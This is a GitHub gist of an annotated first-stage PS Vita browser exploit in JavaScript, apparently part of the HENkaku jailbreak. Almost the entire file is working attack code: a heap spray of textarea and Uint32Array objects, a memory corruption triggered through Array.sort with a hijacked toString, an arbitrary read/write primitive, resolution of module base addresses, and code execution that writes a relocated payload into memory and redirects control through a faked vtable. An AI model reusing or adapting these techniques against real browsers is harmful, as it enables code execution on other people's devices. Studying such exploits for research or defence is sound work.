-
-
Save st4rk/f1375a22dad6e5bbcff8067fdf26600f to your computer and use it in GitHub Desktop.
PS Vita first stage exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src='payload.js'></script> | |
<script> | |
var r, a, e, t, n, o, l, i, f, v, s, c; | |
var u, y, w, p, d, g, h, k, b; | |
var A, U; | |
var m = 64 + payload[16 / 4]; | |
m /= 4; | |
var F = null; | |
// read memory address and return data | |
function S(r) { | |
x = K[r / 4]; | |
L = K[r / 4 + 1]; | |
return ((x & 4095 | (x & 983040) >> 4) & 65535 | ((L & 4095 | (L & 983040) >> 4) & 65535) << 16) >>> 0 | |
} | |
/* | |
* Create an DataView (used to easy-write of types into an ArrayBuffer) | |
* write two unsigned int 32 | |
* and return a float signed 64 bytes (double) | |
*/ | |
function D(r, a) { | |
if (!F) F = new DataView(new ArrayBuffer(16)); | |
F.setUint32(0, a); | |
F.setUint32(4, r); | |
return F.getFloat64(0) | |
} | |
function E(r) { | |
if (!F) F = new DataView(new ArrayBuffer(16)); | |
F.setFloat64(0, r); | |
return { | |
low: F.getUint32(4), | |
hi: F.getUint32(0) | |
} | |
} | |
var x = 0; | |
var L = 0; | |
var B = new Uint32Array(1024); | |
// heap spray array size | |
r = 16384; | |
// heap spray array that will store textarea objects | |
a = new Array(r); | |
e = new Array(r); | |
// Uint32Array signature | |
t = 4932; | |
// heap spray textarea object signature | |
n = 1717920867; | |
// corrupted signature | |
o = 1431655765; | |
/* | |
* Heap spray | |
* alloc a bunch of object (textarea and Uint32Array) | |
* n is the object signature (1717920867) | |
* that will be used later to be find in memory | |
* each object is tored in the array a (spray array) | |
*/ | |
for (var V = 0; V < e.length; ++V) { | |
e[V] = new Uint32Array(t / 4); | |
var H = document.createElement("textarea"); | |
H.rows = n; | |
a[V] = H | |
} | |
for (var V = 0; V < 1024; ++V) { | |
var H = document.createElement("textarea"); | |
H.rows = n; | |
a.push(H) | |
} | |
// Create an array with size 12288 | |
var N = 12288; | |
var W = Array.prototype.constructor.apply(null, new Array(N)); | |
// create an array with size 2048 | |
var j = 2048; | |
var q = new Array(j); | |
// used to object corruption | |
var z = {}; | |
// create an array with size 256 | |
var C = new Array(256); | |
/* | |
* Here the sort corruption will happen | |
*/ | |
z.toString = function() { | |
/* | |
* always that the sort call the toString to sort | |
* it will put more data and won't will overflow the memory | |
*/ | |
W.push(12345); | |
for (var r = 0; r < C.length; ++r) { | |
var a = Array.prototype.constructor.apply(null, q); | |
a[0] = 0; | |
a[1] = 1; | |
a[2] = 2; | |
C[r] = a | |
} | |
return "" | |
}; | |
/* | |
* W[0] = z obj | |
*/ | |
W[0] = z; | |
/* | |
* G = signed 64 bits float(aka double) | |
* 2147483648 is 0x80000000 - (main process base address) | |
* so should return the float of it | |
*/ | |
var G = D(2147483648, 2147483648); | |
/* | |
* note that the first value in array(W[0] won't be modified) | |
* fill part of the array with 0x80000000 is 64 bits signed float | |
*/ | |
for (var V = 1; V < 8192; ++V) W[V] = G; | |
/* | |
* Trigger sort that will overflow the memory cuz the .toString | |
*/ | |
W.sort(); | |
contents = ""; | |
cur = 0; | |
// remove toString corrupt | |
z.toString = function() {}; | |
var I = null; | |
/* | |
* C is filled with array with size 2048 and values 0,1,2 in [0][1][2] | |
* try to find one with signature != 2048 ? | |
* probably the uint32array object | |
*/ | |
for (var V = 0; V < C.length; ++V) { | |
if (C[V].length != j) { | |
I = C[V]; | |
break | |
} | |
} | |
// J is used in the for 0x1FFEF000 | |
var J = 536870912 - 69632; | |
/* | |
* Try to find an Array that has the uint32array object signature size | |
*/ | |
for (;; J--) { | |
// check if the array value is different from 0 | |
if (I[J] != 0) { | |
// store signed float 64 | |
F.setFloat64(0, I[J]); | |
// verify if it's equal to t/4 (uint32array object signature size) | |
if (F.getUint32(0) == t / 4) { | |
// change it to 0xEFFFFFE0 | |
F.setUint32(0, 4026531808); | |
// back it to float64 (change signature size ? vtable ?) | |
I[J] = F.getFloat64(0); | |
// v base addr ? | |
F.setFloat64(0, I[J - 2]); | |
v = F.getUint32(4); | |
// set I[J-2] to 0x80000000 | |
F.setUint32(4, 0); | |
F.setUint32(0, 2147483648); | |
I[J - 2] = F.getFloat64(0); | |
break | |
} | |
} | |
} | |
// modified UInt32Array | |
l = null; | |
/* | |
* The byteLength shit is just to confuse, e is an Uint32Array allocated with | |
* t/4, 32 bits = 4 bytes, 4 * t size = byteLength, as we modify the object before | |
* using I that is our object corrupted we will find obj Uint32Array modified | |
* and store into the *l* | |
*/ | |
for (var V = 0; V < e.length; ++V) { | |
if (e[V].byteLength != t) { | |
l = e[V]; | |
break | |
} | |
} | |
/* | |
* if L wasn't find (NULL), so the exploit doesn't work | |
*/ | |
if (!l) { | |
alert("failed"); | |
while (1) {} | |
} | |
/* | |
* K = l (corrupted Uint32Array) | |
* M = F.getUint32(4); | |
* f = F.getUint32(4); | |
* v is probably baseaddr | |
*/ | |
var K = l; | |
var M = v; | |
f = v; | |
/* | |
* using the object corrupt it for starting at f | |
* and try to find the value 1717920867 (TextArea Element Signature) | |
* when find it, s = O * 4(addr of it ?) | |
* i is only used to say that the element signature was found | |
*/ | |
for (var O = f / 4; O < f / 4 + 16384; ++O) { | |
if (K[O] == n) { | |
// set corrupted signature | |
K[O] = o; | |
// store address ? | |
s = O * 4; | |
// it works | |
i = true; | |
break | |
} | |
} | |
/* | |
* Verify if text area object was found | |
*/ | |
if (!i) { | |
alert("Did not find Element signature"); | |
while (1) {} | |
} | |
// used to say if corrupted textarea was found | |
var P = false; | |
// store corrupted textarea | |
var Q; | |
/* | |
* for with size of array used in toString function | |
* and try to find in this array the .rows with corrupted signature | |
* if find it, it works | |
*/ | |
for (var V = 0; V < a.length; ++V) { | |
if (a[V].rows == o) { | |
Q = a[V]; | |
P = true; | |
break | |
} | |
} | |
/* | |
* Verify if corrupted signature was found | |
*/ | |
if (!P) { | |
alert("Did not find corrupted textarea"); | |
while (1) {} | |
} | |
var R = s - 112; | |
var T = K[R / 4]; | |
u = T - 11253340; | |
y = S(u + 8779012) - 64073; | |
w = S(u + 8778852) - 36913; | |
p = S(u + 8770276) - 142693; | |
d = S(p + 2910348) - 2533; | |
g = S(d + 15300) - 56365; | |
h = S(u + 8778772) - 9197; | |
k = S(g + 101364) - 3417; | |
b = S(k + 39608) - 18893; | |
for (var V = 0; V < 64; V++) K[M / 4 + V] = K[T / 4 + V]; | |
K[R / 4] = M; | |
for (var V = 0; V < 48; ++V) B[V] = K[R / 4 + V]; | |
K[M / 4 + 78] = y + 82032 | 1; | |
Q.scrollLeft = 0; | |
c = (K[R / 4 + 8] ^ (K[R / 4 + 9] ^ u + 3242281) >>> 0) >>> 0; | |
c -= 981016; | |
for (var V = 0; V < 48; ++V) K[R / 4 + V] = B[V]; | |
A = c + 64; | |
U = c + 65536; | |
O = c / 4; | |
for (var V = 0; V < payload.length; ++V, ++O) { | |
if (V == m) O = U / 4; | |
switch (relocs[V]) { | |
case 0: | |
K[O] = payload[V]; | |
break; | |
case 1: | |
K[O] = payload[V] + A; | |
break; | |
case 2: | |
K[O] = payload[V] + u; | |
break; | |
case 3: | |
K[O] = payload[V] + w; | |
break; | |
case 4: | |
K[O] = payload[V] + y; | |
break; | |
case 5: | |
K[O] = payload[V] + g; | |
break; | |
case 6: | |
K[O] = payload[V] + h; | |
break; | |
case 7: | |
K[O] = payload[V] + b; | |
break; | |
default: | |
alert("wtf?"); | |
alert(V + " " + relocs[V]) | |
} | |
} | |
K[M / 4 + 78] = u + 21704; | |
var X = M + 256; | |
K[X / 4 + 5] = U; | |
K[X / 4 + 6] = u + 787594 | 1; | |
alert("Welcome to HENkaku!"); | |
Q.scrollLeft = X; | |
alert("that's it"); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment